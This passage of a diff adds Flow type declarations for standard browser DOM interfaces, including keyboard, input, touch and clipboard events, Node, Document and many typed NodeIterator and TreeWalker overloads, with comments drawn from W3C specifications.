+   * account all keyboard modifiers (such as shift-state). This value is the
+   * final effective value of the key. If the key is not a printable character,
+   * then it should be one of the key values defined in [UIEvents-Key](https://www.w3.org/TR/uievents-key/).
+   *
+   * NOTE: not `null`, this results in `evt.key === 'null'`!
+   */
+  key?: string | void,
+  /**
+   * Initializes the `code` attribute of the KeyboardEvent object to the unicode
+   * character string representing the key that was pressed, ignoring any
+   * keyboard modifications such as keyboard layout. This value should be one
+   * of the code values defined in [UIEvents-Code](https://www.w3.org/TR/uievents-code/).
+   *
+   * NOTE: not `null`, this results in `evt.code === 'null'`!
+   */
+  code?: string | void,
+  /**
+   * Initializes the `location` attribute of the KeyboardEvent object to one of
+   * the following location numerical constants:
+   *
+   *   DOM_KEY_LOCATION_STANDARD (numerical value 0)
+   *   DOM_KEY_LOCATION_LEFT (numerical value 1)
+   *   DOM_KEY_LOCATION_RIGHT (numerical value 2)
+   *   DOM_KEY_LOCATION_NUMPAD (numerical value 3)
+   */
+  location?: number,
+  /**
+   * Initializes the `ctrlKey` attribute of the KeyboardEvent object to true if
+   * the Control key modifier is to be considered active, false otherwise.
+   */
+  ctrlKey?: boolean,
+  /**
+   * Initializes the `shiftKey` attribute of the KeyboardEvent object to true if
+   * the Shift key modifier is to be considered active, false otherwise.
+   */
+  shiftKey?: boolean,
+  /**
+   * Initializes the `altKey` attribute of the KeyboardEvent object to true if
+   * the Alt (alternative) (or Option) key modifier is to be considered active,
+   * false otherwise.
+   */
+  altKey?: boolean,
+  /**
+   * Initializes the `metaKey` attribute of the KeyboardEvent object to true if
+   * the Meta key modifier is to be considered active, false otherwise.
+   */
+  metaKey?: boolean,
+  /**
+   * Initializes the `repeat` attribute of the KeyboardEvent object. This
+   * attribute should be set to true if the the current KeyboardEvent is
+   * considered part of a repeating sequence of similar events caused by the
+   * long depression of any single key, false otherwise.
+   */
+  repeat?: boolean,
+  /**
+   * Initializes the `isComposing` attribute of the KeyboardEvent object. This
+   * attribute should be set to true if the event being constructed occurs as
+   * part of a composition sequence, false otherwise.
+   */
+  isComposing?: boolean,
+  /**
+   * Initializes the `charCode` attribute of the KeyboardEvent to the Unicode
+   * code point for the event’s character.
+   */
+  charCode?: number,
+  /**
+   * Initializes the `keyCode` attribute of the KeyboardEvent to the system-
+   * and implementation-dependent numerical code signifying the unmodified
+   * identifier associated with the key pressed.
+   */
+  keyCode?: number,
+  /** Initializes the `which` attribute */
+  which?: number,
+  ...
+};
+
+// https://w3c.github.io/uievents/#idl-keyboardevent
+declare class KeyboardEvent extends UIEvent {
+  constructor(typeArg: string, init?: KeyboardEvent$Init): void;
+
+  /** `true` if the Alt (alternative) (or "Option") key modifier was active. */
+  +altKey: boolean;
+  /**
+   * Holds a string that identifies the physical key being pressed. The value
+   * is not affected by the current keyboard layout or modifier state, so a
+   * particular key will always return the same value.
+   */
+  +code: string;
+  /** `true` if the Control (control) key modifier was active. */
+  +ctrlKey: boolean;
+  /**
+   * `true` if the key event occurs as part of a composition session, i.e.,
+   * after a `compositionstart` event and before the corresponding
+   * `compositionend` event.
+   */
+  +isComposing: boolean;
+  /**
+   * Holds a [key attribute value](https://www.w3.org/TR/uievents-key/#key-attribute-value)
+   * corresponding to the key pressed. */
+  +key: string;
+  /** An indication of the logical location of the key on the device. */
+  +location: number;
+  /** `true` if the meta (Meta) key (or "Command") modifier was active. */
+  +metaKey: boolean;
+  /** `true` if the key has been pressed in a sustained manner. */
+  +repeat: boolean;
+  /** `true` if the shift (Shift) key modifier was active. */
+  +shiftKey: boolean;
+
+  /**
+   * Queries the state of a modifier using a key value.
+   *
+   * Returns `true` if it is a modifier key and the modifier is activated,
+   * `false` otherwise.
+   */
+  getModifierState(keyArg?: string): boolean;
+
+  /**
+   * Holds a character value, for keypress events which generate character
+   * input. The value is the Unicode reference number (code point) of that
+   * character (e.g. event.charCode = event.key.charCodeAt(0) for printable
+   * characters). For keydown or keyup events, the value of charCode is 0.
+   *
+   * @deprecated You should use KeyboardEvent.key instead, if available.
+   */
+  +charCode: number;
+  /**
+   * Holds a system- and implementation-dependent numerical code signifying
+   * the unmodified identifier associated with the key pressed. Unlike the
+   * `key` attribute, the set of possible values are not normatively defined.
+   * Typically, these value of the keyCode SHOULD represent the decimal
+   * codepoint in ASCII or Windows 1252, but MAY be drawn from a different
+   * appropriate character set. Implementations that are unable to identify
+   * a key use the key value 0.
+   *
+   * @deprecated You should use KeyboardEvent.key instead, if available.
+   */
+  +keyCode: number;
+  /**
+   * Holds a system- and implementation-dependent numerical code signifying
+   * the unmodified identifier associated with the key pressed. In most cases,
+   * the value is identical to keyCode.
+   *
+   * @deprecated You should use KeyboardEvent.key instead, if available.
+   */
+  +which: number;
+}
+
+type InputEvent$Init = {
+  ...UIEvent$Init,
+  inputType?: string,
+  data?: string,
+  dataTransfer?: DataTransfer,
+  isComposing?: boolean,
+  ranges?: Array<any>, // TODO: StaticRange
+  ...
+};
+
+declare class InputEvent extends UIEvent {
+  constructor(typeArg: string, inputEventInit: InputEvent$Init): void;
+  +data: string | null;
+  +dataTransfer: DataTransfer | null;
+  +inputType: string;
+  +isComposing: boolean;
+  getTargetRanges(): Array<any>; // TODO: StaticRange
+}
+
+declare class AnimationEvent extends Event {
+  animationName: string;
+  elapsedTime: number;
+  pseudoElement: string;
+
+  // deprecated
+
+  initAnimationEvent: (
+    type: 'animationstart' | 'animationend' | 'animationiteration',
+    canBubble: boolean,
+    cancelable: boolean,
+    animationName: string,
+    elapsedTime: number
+  ) => void;
+}
+
+// https://www.w3.org/TR/touch-events/#idl-def-Touch
+declare class Touch {
+  clientX: number;
+  clientY: number;
+  identifier: number;
+  pageX: number;
+  pageY: number;
+  screenX: number;
+  screenY: number;
+  target: EventTarget;
+}
+
+// https://www.w3.org/TR/touch-events/#idl-def-TouchList
+// TouchList#item(index) will return null if n > #length. Should #item's
+// return type just been Touch?
+declare class TouchList {
+  @@iterator(): Iterator<Touch>;
+  length: number;
+  item(index: number): null | Touch;
+  [index: number]: Touch;
+}
+
+// https://www.w3.org/TR/touch-events/#touchevent-interface
+declare class TouchEvent extends UIEvent {
+  altKey: boolean;
+  changedTouches: TouchList;
+  ctrlKey: boolean;
+  metaKey: boolean;
+  shiftKey: boolean;
+  targetTouches: TouchList;
+  touches: TouchList;
+}
+
+// https://www.w3.org/TR/clipboard-apis/#typedefdef-clipboarditemdata
+// Raw string | Blob are allowed per https://webidl.spec.whatwg.org/#es-promise
+type ClipboardItemData = string | Blob | Promise<string | Blob>;
+
+type PresentationStyle = 'attachment' | 'inline' | 'unspecified';
+
+type ClipboardItemOptions = {
+  presentationStyle?: PresentationStyle,
+  ...
+};
+
+declare class ClipboardItem {
+  +types: $ReadOnlyArray<string>;
+  getType(type: string): Promise<Blob>;
+  constructor(
+    items: {[type: string]: ClipboardItemData},
+    options?: ClipboardItemOptions
+  ): void;
+}
+
+// https://w3c.github.io/clipboard-apis/ as of 15 May 2018
+type ClipboardEvent$Init = {
+  ...Event$Init,
+  clipboardData: DataTransfer | null,
+  ...
+};
+
+declare class ClipboardEvent extends Event {
+  constructor(type: ClipboardEventTypes, eventInit?: ClipboardEvent$Init): void;
+  +clipboardData: ?DataTransfer; // readonly
+}
+
+// https://www.w3.org/TR/2017/WD-css-transitions-1-20171130/#interface-transitionevent
+type TransitionEvent$Init = {
+  ...Event$Init,
+  propertyName: string,
+  elapsedTime: number,
+  pseudoElement: string,
+  ...
+};
+
+declare class TransitionEvent extends Event {
+  constructor(
+    type: TransitionEventTypes,
+    eventInit?: TransitionEvent$Init
+  ): void;
+
+  +propertyName: string; // readonly
+  +elapsedTime: number; // readonly
+  +pseudoElement: string; // readonly
+}
+
+declare class SecurityPolicyViolationEvent extends Event {
+  +documentURI: string;
+  +referrer: string;
+  +blockedURI: string;
+  +effectiveDirective: string;
+  +violatedDirective: string;
+  +originalPolicy: string;
+  +sourceFile: string;
+  +sample: string;
+  +disposition: 'enforce' | 'report';
+  +statusCode: number;
+  +lineNumber: number;
+  +columnNumber: number;
+}
+
+// https://developer.mozilla.org/en-US/docs/Web/API/USBConnectionEvent
+declare class USBConnectionEvent extends Event {
+  device: USBDevice;
+}
+
+// TODO: *Event
+
+declare class AbortController {
+  constructor(): void;
+  +signal: AbortSignal;
+  abort(reason?: any): void;
+}
+
+declare class AbortSignal extends EventTarget {
+  +aborted: boolean;
+  +reason: any;
+  abort(reason?: any): AbortSignal;
+  onabort: (event: Event) => mixed;
+  throwIfAborted(): void;
+  timeout(time: number): AbortSignal;
+}
+
+declare class Node extends EventTarget {
+  baseURI: ?string;
+  childNodes: NodeList<Node>;
+  firstChild: ?Node;
+  +isConnected: boolean;
+  lastChild: ?Node;
+  nextSibling: ?Node;
+  nodeName: string;
+  nodeType: number;
+  nodeValue: string;
+  ownerDocument: Document;
+  parentElement: ?Element;
+  parentNode: ?Node;
+  previousSibling: ?Node;
+  rootNode: Node;
+  textContent: string;
+  appendChild<T: Node>(newChild: T): T;
+  cloneNode(deep?: boolean): this;
+  compareDocumentPosition(other: Node): number;
+  contains(other: ?Node): boolean;
+  getRootNode(options?: {composed: boolean, ...}): Node;
+  hasChildNodes(): boolean;
+  insertBefore<T: Node>(newChild: T, refChild?: ?Node): T;
+  isDefaultNamespace(namespaceURI: string): boolean;
+  isEqualNode(arg: Node): boolean;
+  isSameNode(other: Node): boolean;
+  lookupNamespaceURI(prefix: string): string;
+  lookupPrefix(namespaceURI: string): string;
+  normalize(): void;
+  removeChild<T: Node>(oldChild: T): T;
+  replaceChild<T: Node>(newChild: Node, oldChild: T): T;
+  replaceChildren(...nodes: $ReadOnlyArray<Node | string>): void;
+  static ATTRIBUTE_NODE: number;
+  static CDATA_SECTION_NODE: number;
+  static COMMENT_NODE: number;
+  static DOCUMENT_FRAGMENT_NODE: number;
+  static DOCUMENT_NODE: number;
+  static DOCUMENT_POSITION_CONTAINED_BY: number;
+  static DOCUMENT_POSITION_CONTAINS: number;
+  static DOCUMENT_POSITION_DISCONNECTED: number;
+  static DOCUMENT_POSITION_FOLLOWING: number;
+  static DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC: number;
+  static DOCUMENT_POSITION_PRECEDING: number;
+  static DOCUMENT_TYPE_NODE: number;
+  static ELEMENT_NODE: number;
+  static ENTITY_NODE: number;
+  static ENTITY_REFERENCE_NODE: number;
+  static NOTATION_NODE: number;
+  static PROCESSING_INSTRUCTION_NODE: number;
+  static TEXT_NODE: number;
+
+  // Non-standard
+  innerText?: string;
+  outerText?: string;
+}
+
+declare class NodeList<T> {
+  @@iterator(): Iterator<T>;
+  length: number;
+  item(index: number): T;
+  [index: number]: T;
+
+  forEach<This>(
+    callbackfn: (this: This, value: T, index: number, list: NodeList<T>) => any,
+    thisArg: This
+  ): void;
+  entries(): Iterator<[number, T]>;
+  keys(): Iterator<number>;
+  values(): Iterator<T>;
+}
+
+declare class NamedNodeMap {
+  @@iterator(): Iterator<Attr>;
+  length: number;
+  removeNamedItemNS(namespaceURI: string, localName: string): Attr;
+  item(index: number): Attr;
+  [index: number | string]: Attr;
+  removeNamedItem(name: string): Attr;
+  getNamedItem(name: string): Attr;
+  setNamedItem(arg: Attr): Attr;
+  getNamedItemNS(namespaceURI: string, localName: string): Attr;
+  setNamedItemNS(arg: Attr): Attr;
+}
+
+declare class Attr extends Node {
+  isId: boolean;
+  specified: boolean;
+  ownerElement: Element | null;
+  value: string;
+  name: string;
+  namespaceURI: string | null;
+  prefix: string | null;
+  localName: string;
+}
+
+declare class HTMLCollection<+Elem: Element> {
+  @@iterator(): Iterator<Elem>;
+  length: number;
+  item(nameOrIndex?: any, optionalIndex?: any): Elem | null;
+  namedItem(name: string): Elem | null;
+  [index: number | string]: Elem;
+}
+
+// from https://www.w3.org/TR/custom-elements/#extensions-to-document-interface-to-register
+// See also https://github.com/w3c/webcomponents/
+type ElementRegistrationOptions = {
+  +prototype?: {
+    // from https://www.w3.org/TR/custom-elements/#types-of-callbacks
+    // See also https://github.com/w3c/webcomponents/
+    +createdCallback?: () => mixed,
+    +attachedCallback?: () => mixed,
+    +detachedCallback?: () => mixed,
+    +attributeChangedCallback?: ((
+      // attribute is set
+      attributeLocalName: string,
+      oldAttributeValue: null,
+      newAttributeValue: string,
+      attributeNamespace: string
+    ) => mixed) &
+      // attribute is changed
+      ((
+        attributeLocalName: string,
+        oldAttributeValue: string,
+        newAttributeValue: string,
+        attributeNamespace: string
+      ) => mixed) &
+      // attribute is removed
+      ((
+        attributeLocalName: string,
+        oldAttributeValue: string,
+        newAttributeValue: null,
+        attributeNamespace: string
+      ) => mixed),
+    ...
+  },
+  +extends?: string,
+  ...
+};
+
+type ElementCreationOptions = {is: string, ...};
+
+declare class MutationRecord {
+  type: 'attributes' | 'characterData' | 'childList';
+  target: Node;
+  addedNodes: NodeList<Node>;
+  removedNodes: NodeList<Node>;
+  previousSibling: ?Node;
+  nextSibling: ?Node;
+  attributeName: ?string;
+  attributeNamespace: ?string;
+  oldValue: ?string;
+}
+
+type MutationObserverInitRequired =
+  | {childList: true, ...}
+  | {attributes: true, ...}
+  | {characterData: true, ...};
+
+declare type MutationObserverInit = MutationObserverInitRequired & {
+  subtree?: boolean,
+  attributeOldValue?: boolean,
+  characterDataOldValue?: boolean,
+  attributeFilter?: Array<string>,
+  ...
+};
+
+declare class MutationObserver {
+  constructor(
+    callback: (arr: Array<MutationRecord>, observer: MutationObserver) => mixed
+  ): void;
+  observe(target: Node, options: MutationObserverInit): void;
+  takeRecords(): Array<MutationRecord>;
+  disconnect(): void;
+}
+
+declare class Document extends Node {
+  +timeline: DocumentTimeline;
+  getAnimations(): Array<Animation>;
+  +URL: string;
+  adoptNode<T: Node>(source: T): T;
+  anchors: HTMLCollection<HTMLAnchorElement>;
+  applets: HTMLCollection<HTMLAppletElement>;
+  body: HTMLBodyElement | null;
+  +characterSet: string;
+  /**
+   * Legacy alias of `characterSet`
+   * @deprecated
+   */
+  +charset: string;
+  close(): void;
+  +contentType: string;
+  cookie: string;
+  createAttribute(name: string): Attr;
+  createAttributeNS(namespaceURI: string | null, qualifiedName: string): Attr;
+  createCDATASection(data: string): Text;
+  createComment(data: string): Comment;
+  createDocumentFragment(): DocumentFragment;
+  createElement<TName: $Keys<HTMLElementTagNameMap>>(
+    localName: TName,
+    options?: string | ElementCreationOptions
+  ): HTMLElementTagNameMap[TName];
+  createElementNS<TName: $Keys<HTMLElementTagNameMap>>(
+    namespaceURI: 'http://www.w3.org/1999/xhtml',
+    qualifiedName: TName,
+    options?: string | ElementCreationOptions
+  ): HTMLElementTagNameMap[TName];
+  createElementNS(
+    namespaceURI: string | null,
+    qualifiedName: string,
+    options?: string | ElementCreationOptions
+  ): Element;
+  createTextNode(data: string): Text;
+  currentScript: HTMLScriptElement | null;
+  dir: 'rtl' | 'ltr';
+  +doctype: DocumentType | null;
+  +documentElement: HTMLElement | null;
+  documentMode: number;
+  +documentURI: string;
+  domain: string | null;
+  embeds: HTMLCollection<HTMLEmbedElement>;
+  exitFullscreen(): Promise<void>;
+  queryCommandSupported(cmdID: string): boolean;
+  execCommand(cmdID: string, showUI?: boolean, value?: any): boolean;
+  forms: HTMLCollection<HTMLFormElement>;
+  fullscreenElement: Element | null;
+  fullscreenEnabled: boolean;
+  getElementsByClassName(classNames: string): HTMLCollection<HTMLElement>;
+  getElementsByName(elementName: string): HTMLCollection<HTMLElement>;
+  getElementsByTagName<TName: $Keys<HTMLElementTagNameMap>>(
+    qualifiedName: TName
+  ): HTMLCollection<HTMLElementTagNameMap[TName]>;
+  getElementsByTagNameNS<TName: $Keys<HTMLElementTagNameMap>>(
+    namespaceURI: 'http://www.w3.org/1999/xhtml',
+    qualifiedName: TName
+  ): HTMLCollection<HTMLElementTagNameMap[TName]>;
+  getElementsByTagNameNS(
+    namespaceURI: string | null,
+    qualifiedName: string
+  ): HTMLCollection<Element>;
+  head: HTMLHeadElement | null;
+  images: HTMLCollection<HTMLImageElement>;
+  +implementation: DOMImplementation;
+  importNode<T: Node>(importedNode: T, deep: boolean): T;
+  /**
+   * Legacy alias of `characterSet`
+   * @deprecated
+   */
+  +inputEncoding: string;
+  lastModified: string;
+  links: HTMLCollection<HTMLLinkElement>;
+  media: string;
+  open(url?: string, name?: string, features?: string, replace?: boolean): any;
+  /** @see {@link https://developer.mozilla.org/en-US/docs/Web/API/Document/prerendering} */
+  prerendering: boolean;
+  readyState: string;
+  referrer: string;
+  scripts: HTMLCollection<HTMLScriptElement>;
+  scrollingElement: HTMLElement | null;
+  title: string;
+  visibilityState: 'visible' | 'hidden' | 'prerender' | 'unloaded';
+  write(...content: Array<string | TrustedHTML>): void;
+  writeln(...content: Array<string | TrustedHTML>): void;
+  xmlEncoding: string;
+  xmlStandalone: boolean;
+  xmlVersion: string;
+
+  registerElement(type: string, options?: ElementRegistrationOptions): any;
+  getSelection(): Selection | null;
+
+  // 6.4.6 Focus management APIs
+  activeElement: HTMLElement | null;
+  hasFocus(): boolean;
+
+  // extension
+  location: Location;
+  createEvent(eventInterface: 'CustomEvent'): CustomEvent;
+  createEvent(eventInterface: string): Event;
+  createRange(): Range;
+  elementFromPoint(x: number, y: number): HTMLElement | null;
+  elementsFromPoint(x: number, y: number): Array<HTMLElement>;
+  defaultView: any;
+  +compatMode: 'BackCompat' | 'CSS1Compat';
+  hidden: boolean;
+
+  // Pointer Lock specification
+  exitPointerLock(): void;
+  pointerLockElement: Element | null;
+
+  // from ParentNode interface
+  childElementCount: number;
+  children: HTMLCollection<HTMLElement>;
+  firstElementChild: ?Element;
+  lastElementChild: ?Element;
+  append(...nodes: Array<string | Node>): void;
+  prepend(...nodes: Array<string | Node>): void;
+
+  querySelector<TSelector: $Keys<HTMLElementTagNameMap>>(
+    selector: TSelector
+  ): HTMLElementTagNameMap[TSelector] | null;
+  querySelectorAll<TSelector: $Keys<HTMLElementTagNameMap>>(
+    selector: TSelector
+  ): NodeList<HTMLElementTagNameMap[TSelector]>;
+  // Interface DocumentTraversal
+  // http://www.w3.org/TR/2000/REC-DOM-Level-2-Traversal-Range-20001113/traversal.html#Traversal-Document
+
+  // Not all combinations of RootNodeT and whatToShow are logically possible.
+  // The bitmasks NodeFilter.SHOW_CDATA_SECTION,
+  // NodeFilter.SHOW_ENTITY_REFERENCE, NodeFilter.SHOW_ENTITY, and
+  // NodeFilter.SHOW_NOTATION are deprecated and do not correspond to types
+  // that Flow knows about.
+
+  // NodeFilter.SHOW_ATTRIBUTE is also deprecated, but corresponds to the
+  // type Attr. While there is no reason to prefer it to Node.attributes,
+  // it does have meaning and can be typed: When (whatToShow &
+  // NodeFilter.SHOW_ATTRIBUTE === 1), RootNodeT must be Attr, and when
+  // RootNodeT is Attr, bitmasks other than NodeFilter.SHOW_ATTRIBUTE are
+  // meaningless.
+  createNodeIterator<RootNodeT: Attr>(
+    root: RootNodeT,
+    whatToShow: 2,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Attr>;
+  createTreeWalker<RootNodeT: Attr>(
+    root: RootNodeT,
+    whatToShow: 2,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Attr>;
+
+  // NodeFilter.SHOW_PROCESSING_INSTRUCTION is not implemented because Flow
+  // does not currently define a ProcessingInstruction class.
+
+  // When (whatToShow & NodeFilter.SHOW_DOCUMENT === 1 || whatToShow &
+  // NodeFilter.SHOW_DOCUMENT_TYPE === 1), RootNodeT must be Document.
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 256,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Document>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 257,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Document | Element>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 260,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Document | Text>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 261,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Document | Element | Text>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 384,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Document | Comment>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 385,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Document | Element | Comment>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 388,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Document | Text | Comment>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 389,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, Document | Element | Text | Comment>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 512,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 513,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Element>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 516,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Text>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 517,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Element | Text>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 640,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Comment>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 641,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Element | Comment>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 644,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Text | Comment>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 645,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Element | Text | Comment>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 768,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Document>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 769,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Document | Element>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 772,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Document | Text>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 773,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Document | Element | Text>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 896,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Document | Comment>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 897,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Document | Element | Comment>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 900,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentType | Document | Text | Comment>;
+  createNodeIterator<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 901,
+    filter?: NodeFilterInterface
+  ): NodeIterator<
+    RootNodeT,
+    DocumentType | Document | Element | Text | Comment,
+  >;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 256,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Document>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 257,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Document | Element>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 260,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Document | Text>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 261,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Document | Element | Text>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 384,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Document | Comment>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 385,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Document | Element | Comment>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 388,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Document | Text | Comment>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 389,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, Document | Element | Text | Comment>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 512,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 513,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Element>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 516,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Text>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 517,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Element | Text>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 640,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Comment>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 641,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Element | Comment>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 644,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Text | Comment>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 645,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Element | Text | Comment>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 768,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Document>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 769,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Document | Element>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 772,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Document | Text>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 773,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Document | Element | Text>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 896,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Document | Comment>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 897,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Document | Element | Comment>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 900,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Document | Text | Comment>;
+  createTreeWalker<RootNodeT: Document>(
+    root: RootNodeT,
+    whatToShow: 901,
+    filter?: NodeFilterInterface,
+    entityReferenceExpansion?: boolean
+  ): TreeWalker<RootNodeT, DocumentType | Document | Element | Text | Comment>;
+
+  // When (whatToShow & NodeFilter.SHOW_DOCUMENT_FRAGMENT === 1), RootNodeT
+  // must be a DocumentFragment.
+  createNodeIterator<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1024,
+    filter?: NodeFilterInterface
+  ): NodeIterator<RootNodeT, DocumentFragment>;
+  createNodeIterator<RootNodeT: DocumentFragment>(
+    root: RootNodeT,
+    whatToShow: 1025,
+    filter?: NodeFilterInterface
